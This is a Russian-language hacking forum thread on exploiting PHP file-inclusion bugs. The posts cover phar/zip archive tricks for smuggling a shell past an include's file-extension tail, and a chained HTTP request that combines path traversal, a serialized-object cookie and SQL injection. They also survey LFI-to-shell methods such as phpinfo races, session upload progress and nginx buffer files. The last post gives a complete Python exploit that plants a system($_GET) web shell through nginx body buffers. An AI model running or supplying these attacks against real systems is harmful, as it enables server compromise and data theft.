Небольшое добавление к технике инклудов.

Discussion in 'Кухня' started by nikp, 18 Jun 2012.

  1. nikp

    nikp Banned

    Joined:
    19 Sep 2008
    Messages:
    328
    Likes Received:
    591
    Reputations:
    764
    Небольшое добавление к технике инклудов.

    Начиная с PHP версии 5.3.4 стало проблемно работать с инклудами, у которых присутствует "хвост".
    С другой стороны, в линейке 5.3, появилась штатная поддержка архивов phar.
    В случае RFI, появилась возможность не отрезать лишний хвост, а спрятать его внутри архива.

    Пример:
    in2.php
    PHP:
    <?
    include(
    $_GET['pic'].'.gif');
    ?>
    Создадим архив phar с файлом bla.gif
    для создания нужно в php.ini установить: phar.readonly = Off

    PHP:
    //создадим архив in.phar
    $p = new Phar('in.phar');
    $p->setStub('<?php Phar::mapPhar();__HALT_COMPILER(); ?>');
    $p['bla.gif'] = '<?phpinfo();?>';
    //или
    //$p['bla.gif'] = file_get_contents('shell.php');
    Инклудим
    http://localhost/in.php?pic=phar://in.phar/bla

    Это может быть и zip или tar архив, конвертнем
    PHP:
    $p $p->convertToExecutable(Phar::ZIP);
    Инклудим
    http://localhost/in.php?pic=phar://in.phar.zip/bla

    Хвост может быть длинным, тогда в каталоге arc создаем нужную структуру файлов, например /tmp/arc/Bla/bla2/file.ext
    и добавляем в архив
    PHP:
    //вторым параметром можно указать регулярку для отбора файлов 
    //каталоги и файлы в архиве - чувствительны к регистру (даже для винды)
    $p->buildFromDirectory('/tmp/arc/','/.*/');
    для родного формата phar, расширение не обязательно, или любое.
    Для zip обязательна подстрока .zip (bla.zip, bla.zip.php и т.д.)

    После аплоада получаются файлы без расширения, типа phpKuAoU3

    Инклудим
    Code:
    http://localhost/in.php?pic=phar:///tmp/phpKuAoU3/bla
    Можно грузить zip архив и использовать обертку zip:// (почти везде установлена, поддерживается много раньше phar://)
    Code:
    http://localhost/in.php?pic=zip:///tmp/phpKuAoU3%23bla
    Способ не зависит от настроек
    allow_url_fopen
    allow_url_include
    magic_quotes_gpc

    а зависимостей две
    - можем влиять на начало строки инклуда
    - можем приготовить файл произвольного содержания, имя не важно.

    Про zip:// подробнее можно посмотреть у Алексея Москвина (Positive Technologies).

    PS
    К архиву in.phar можно обратиться
    PHP:
    include('phar://in.phar');
    //или напрямую
    include('in.phar');
    //а вот к файлу внутри архива, только через обертку
    include('phar://in.phar/bla.gif');
    Если найдется способ прямого обращения к файлу архива, будет решена проблема хвоста и в LFI.
     
    #1 nikp, 18 Jun 2012
    Last edited: 18 Jun 2012
    Telariust, [ Dumi ], BigBear and 5 others like this.
  2. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,515
    Likes Received:
    400
    Reputations:
    196
    То есть в новых версиях такое уже не работает?

    PHP:
    Scr.php?page=http://site.com/shell.php?
    То есть, вопросом не обрезать?
     
  3. nikp

    nikp Banned

    Joined:
    19 Sep 2008
    Messages:
    328
    Likes Received:
    591
    Reputations:
    764
    Удобнее считать, что RFI - это возможность влиять на начало строки инклуда, т.е.
    PHP:
    $f=$_REQUEST["f"];
    include 
    "$f.gif";     //RFI
    include "./$f.gif";     //LFI
    т.е. возможность проинклудить удаленный файл - частный случай RFI, в общем случае RFI - это возможность обратиться к подключаемому файлу,
    как по имени, так и через враппер (http, ftp, php, data, file, glob и т.д. http://php.net/manual/en/wrappers.php.php )

    Имелось в виду, что начиная с PHP версии 5.3.4, обрезать хвост с помощью NULL-byte или альтернативно /././.... - не получится.

    Поэтому предлагается для локального файла не обрезать мешающий хвост строки инклуда, а сформировать его внутри архива,
    тогда ошибки не происходит и нормально инклудим приготовленную начинку.
     
    1 person likes this.
  4. Telariust

    Telariust Member

    Joined:
    25 Jan 2016
    Messages:
    13
    Likes Received:
    18
    Reputations:
    3
  5. Baskin-Robbins

    Baskin-Robbins Reservists Of Antichat

    Joined:
    15 Sep 2018
    Messages:
    234
    Likes Received:
    786
    Reputations:
    212
    Возможно для многих эта заметка будет страшным баяном, но думаю
    для кого-то может оказаться полезной.

    LFI с хвостом, условно:
    PHP:
    <?php
    $a 
    $_POST['a'];
    include(
    '/var/www/site/data/' $a '.php');
    Очевидно, что для эксплуатации нам необходимо записать свой код в php файл, что
    мягко говоря нечастое явление. Хотя для Flat File CMS задача немного
    упрощается, так как все хранится в файлах и неисключено(очень редко) хранение
    каких-то данных в скриптовых файлах. Это могут быть какие-то данные о плагинах
    или ip юзеров ну и тд.

    Хранение данных, например в массивах, требует от разрабов фильтрации, но если
    данные к примеру в сериализованном виде, то фильтрация может и не использоваться.
    К тому же, эти файлы обычно защищаются htaccess или стопером в начале файла, например:
    PHP:
    <?php
    defined
    ('is_cms') or die('Hacking attempt!');
    Вот в таких случаях как раз и может пригодиться наш инклуд, для обхода
    стопера и выполнения кода из php файла, если мы можем туда что-то писать.

    Что еще мы можем выжать из такого инклуда?

    Вторым возможным вектором может быть обращение к скриптам напрямую.
    Это могут файлы шаблонов, обособленные скриптовые файлы не использующие
    пользовательские классы или имеющие уязвимости до того как скрипт упадет
    из-за вызова неизвестного метода.

    Как упомянуто выше, инклуд даст возможность обойти стопер. Остается только
    найти подходящий бажный скрипт. В самом движке это может быть достаточно
    проблематично, тут на помощь могут придти плагины, при большом их количестве
    шансы найти подходящий скрипт возрастают.

    Как третий вектор мы можем использовать админку.
    Такой вектор мы можем использовать в случаях, когда проверка на админа
    используется в одном или нескольких файлах, остальные просто инклудятся и
    защищаются стопером.

    В таких случаях мы можем получить:
    1) Как минимум information leakage. Версия php или даже phpinfo, списки пользователей,
    мейлы, установленные плагины.

    2) Если повезет, мы сможем частично использовать функционал админки - смена паролей,
    загрузка файлов(если повезет то даже php), добавление админа, редактирование файлов
    и тд.

    3) Баги в админке, коих там больше, нежели в пользовательской части. Плюс наличие
    дополнительных панелей управления и настройки плагинов также повысит шансы на успех.

    К сожалению, возможность получить RCE при локальном инклуде с хвостом... ну вы понимаете.
    Даже инклуд с хвостом php и возможностью использования конструкции
    path traversal не такое уж и частое явление. Но все же он не бесполезен, если повезет, кое-что
    из него мы выжать можем. Ведь даже ликнуть инфу о php или получить Reflected XSS будет
    лучше, чем вообще ничего.
     
    #5 Baskin-Robbins, 1 Nov 2021
    Last edited: 2 Nov 2021
  6. crlf

    crlf Green member

    Joined:
    18 Mar 2016
    Messages:
    642
    Likes Received:
    1,358
    Reputations:
    409
    Отличная заметка и отличный вектор атаки. Недавно публиковал сплоит, как раз из этой оперы. Стоит отметить, что не стоит ограничиваться одним действием, мыслим шире и включаем фантазию. Составляем чейны из N инклудов или иных уязвимостей. К примеру, кейс из личного опыта:

    SSRF => LFI (.php) => LFI (.php) + LFI (.php) + extract() => LFI (.php) = Admin (FW, SQLi, etc)

    Code:
    POST /trans/transfer.php?er,http://dev.example.com/?route=main.page&state_code=/*xxx/../../../../../../../../../../../../../../../../vol1/sites/projects/example-final/trunk/api/www/billing/paypal HTTP/1.1
    Host: www.example.com
    Cookie: example_state=a:1:{i:0;O:25:"billing_include_subscribe":0:{}}
    User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4147.105 Safari/537.36
    Content-Type: application/x-www-form-urlencoded
    
    RESULT_MAIN=0&product_id=12345&s=us-/../../../../admin/www/view_tour-1&v=/../../../../../../../../../../../../vol1/sites/projects/example-final/trunk/admin/www/view_tour&state_code=12345' union select 1,2,3,4,5,6,7,8,9 -- 1
    
     
    Раrаdох, Spinus, dooble and 3 others like this.
  7. crlf

    crlf Green member

    Joined:
    18 Mar 2016
    Messages:
    642
    Likes Received:
    1,358
    Reputations:
    409
    В телеге вышел неплохой обзор доступных техник LFI от крутого чувака. Думаю, последние две техники удивят многих, круть :)

    Рождество - время подарков и подведения итогов. Сегодня я решил сделать всем подарок - подвести итоги последних 15 лет проведения LFI в самом рождественском языке программирования - PHP.

    Рассмотрим достаточно популярную (когда-то) ситуацию когда у нас есть LFI но нет возможности загрузить файл на сервер. Вот какие есть варианты получить шелл:

    logs / sessions / etc
    Первое что можно попробовать подгрузить - файлы логов, сессий, файловые дескрипторы или переменные окружение из procfs и т д. Идея простая и в то же время бесполезная - мы каким то либо образом влияем на подгружаемый файл (например передаём пейлоад в User-Agent и пытаемся подгрузить его из access.log) и подгружаем его через LFI. Бесполезной эта идея является потому что последние лет 10 у процесса PHP отобрали права на чтение логов и procfs, а сессии выключены, хранятся в БД (спасибо, микросервисная архитектура) или на них нет возможности повилять

    phpinfo()
    Ещё один старый способ, первые упоминания которого датируются 2010/2011 годом. Здесь суть заключается в том что при директиве file_uploads = on (которая имеет это значение по умолчанию) PHP будет вычитывать файлы из тела запроса и временно хранить их в директории указанной в директиве upload_tmp_dir. Звучит как отличное решение проблемы если бы не пара нюансов: временные файлы имеют рандомное имя и удаляются сразу же после завершения работы скрипта. В данном случае на помощь может прийти вывод phpinfo();, если он есть где либо на сервере. Он решит первую проблему - отправив файл на этот скрипт мы сможем увидеть имя временного файла. Вторая проблема решается благодаря директиве output_buffering которая по умолчанию имеет значение 4096. Это значит что при превышении размера тела ответа процесс PHP будет отдавать его по серверу чанками. Теперь нам нужно только сделать так чтобы тело ответа было больше размера одного чанка, чтобы имя файла было не в последнем чанке. Далее, надеемся что сервер умеет работать с chunked ответами, вычитываем чанки до имени файла и держим коннект открытым, пока подгружаем полученное имя файла и радуемся шеллу.

    https://insomniasec.com/downloads/publications/LFI With PHPInfo Assistance.pdf

    PHP_SESSION_UPLOAD_PROGRESS
    В 2018 году один внимательный увидел в документации PHP директиву session.upload_progress.enabled которая включена по умолчанию и позволяет сохранять в файле сессии прогресс загрузки файла. Более того, эта директива сама создаст файл сессии даже если не было явного вызова session_start() и положит в него прогресс загрузки файла по ключу который указывается через cookie параметра PHP_SESSION_UPLOAD_PROGRESS. Таким образом, мы можем сами создать сессию и положить в неё свой ключ (который вместе с правильным использованием фильтров может стать для нас золотым ключиком). Но возникает очередная проблема - сессия будет очищена как только загрузка файла будет завершена. Здесь очевидно два решения - рейсить загрузку файла и его подключение или же подержать загрузку файла подольше.

    https://blog.orange.tw/2018/10/hitcon-ctf-2018-one-line-php-challenge.html

    tempfile bruteforce / php crash
    Предыдущий метод хорош, но может случиться так что директива session.upload_progress.enabled выключена. В таком случае очень полезно вспомнить какой на дворе год и воспользоваться всеми благами широких каналов и быстрого сетевого стека. При возможности задержать исполнение скрипта на достаточное время (например наличие SSRF или чтения файла, что в целом в PHP почти одно и то же) мы можем попытаться набрутить имя временного файла. Удивительно, но такой подход пару раз лично у меня срабатывал и успешная эксплуатация занимала порядка пары часов. Если же мы не хотим сильно нагружать сервер, то можно поискать в багтрекере парочку сегфолтов для необходимой версии PHP. Очевидно, при падении PHP не будет удалять временный файл, тем самым сильно облегчая нам последующий брутфорс.

    https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/Hk-2nUb3Q?type=view

    compress
    В случае если у нас выключена директива file_uploads можно воспользоваться очередным трюком - некоторые врапперы в PHP тоже любят создавать временные файлы. Например, если приложение вызывает file_get_contents с нашими аргументами, то можно чтение compress.zlib://http://hostname/ создаст такой же произвольный файл как и в случае с аплоадом. А дальше уже пользуемся предыдущим способом для его подключения

    https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer (https://archive.ph/LsA45)

    nginx buffer file
    В современном мире сложно представить что PHP работает не в качестве FastCGI бэкенда для nginx. Удивительно, но благодаря этому есть способ успешно провести атаку даже если в PHP сильно огорожен отбиранием прав или другими жестокими методами. И всё это возможно благодаря буферам nginx. Если на каком либо этапе проксирования запрос или ответ не влезают в буфер в памяти, то они будут записаны на диск. Но и тут не обошлось без проблем - сразу после создания файла и перед тем как туда что либо записать, nginx удаляет файл, а дальше продолжает работать с файловым дескриптором. Кажется, что мы могли бы попробовать подключить файловый дескриптор через procfs, но и тут очередная проблема - перед подключением файла PHP делает на него lstat чтобы разрезолвить возможные символьные ссылки, и если файл не существует (как в нашем случае) то чуда не произойдёт. К счастью, и тут есть свой обход - из-за возможных проведение корректного lstat требует рекурсивного подхода, а стало быть и должно быть ограничение на глубину рекурсии. Таким образом, если вложенность ссылок будет достаточно высокой, то PHP не сможет понять что файл удалён и успешно его подключит

    https://tttang.com/archive/1384/ (https://archive.ph/BLUUu)


    Paul Axe, Dec 24 at 17:25

    # UPD
    #
    в тему буффера Nginx + сплоит

    https://bierbaumer.net/security/php-lfi-with-nginx-assistance/
    Code:
    #!/usr/bin/env python3
    import sys, threading, requests
    
    # exploit PHP local file inclusion (LFI) via nginx's client body buffering assistance
    # see https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ for details
    
    URL = f'http://{sys.argv[1]}:{sys.argv[2]}/'
    
    # find nginx worker processes
    r  = requests.get(URL, params={
       'file': '/proc/cpuinfo'
    })
    cpus = r.text.count('processor')
    
    r  = requests.get(URL, params={
       'file': '/proc/sys/kernel/pid_max'
    })
    pid_max = int(r.text)
    print(f'[*] cpus: {cpus}; pid_max: {pid_max}')
    
    nginx_workers = []
    for pid in range(pid_max):
       r  = requests.get(URL, params={
           'file': f'/proc/{pid}/cmdline'
       })
    
       if b'nginx: worker process' in r.content:
           print(f'[*] nginx worker found: {pid}')
    
           nginx_workers.append(pid)
           if len(nginx_workers) >= cpus:
               break
    
    done = False
    
    # upload a big client body to force nginx to create a /var/lib/nginx/body/$X
    def uploader():
       print('[+] starting uploader')
       while not done:
           requests.get(URL, data='<?php system($_GET["c"]); /*' + 16*1024*'A')
    
    for _ in range(16):
       t = threading.Thread(target=uploader)
       t.start()
    
    # brute force nginx's fds to include body files via procfs
    # use ../../ to bypass include's readlink / stat problems with resolving fds to `/var/lib/nginx/body/0000001150 (deleted)`
    def bruter(pid):
       global done
    
       while not done:
           print(f'[+] brute loop restarted: {pid}')
           for fd in range(4, 32):
               f = f'/proc/self/fd/{pid}/../../../{pid}/fd/{fd}'
               r  = requests.get(URL, params={
                   'file': f,
                   'c': f'id'
               })
               if r.text:
                   print(f'[!] {f}: {r.text}')
                   done = True
                   exit()
    
    for pid in nginx_workers:
       a = threading.Thread(target=bruter, args=(pid, ))
       a.start()
    
     
    #7 crlf, 24 Dec 2021
    Last edited: 28 Dec 2021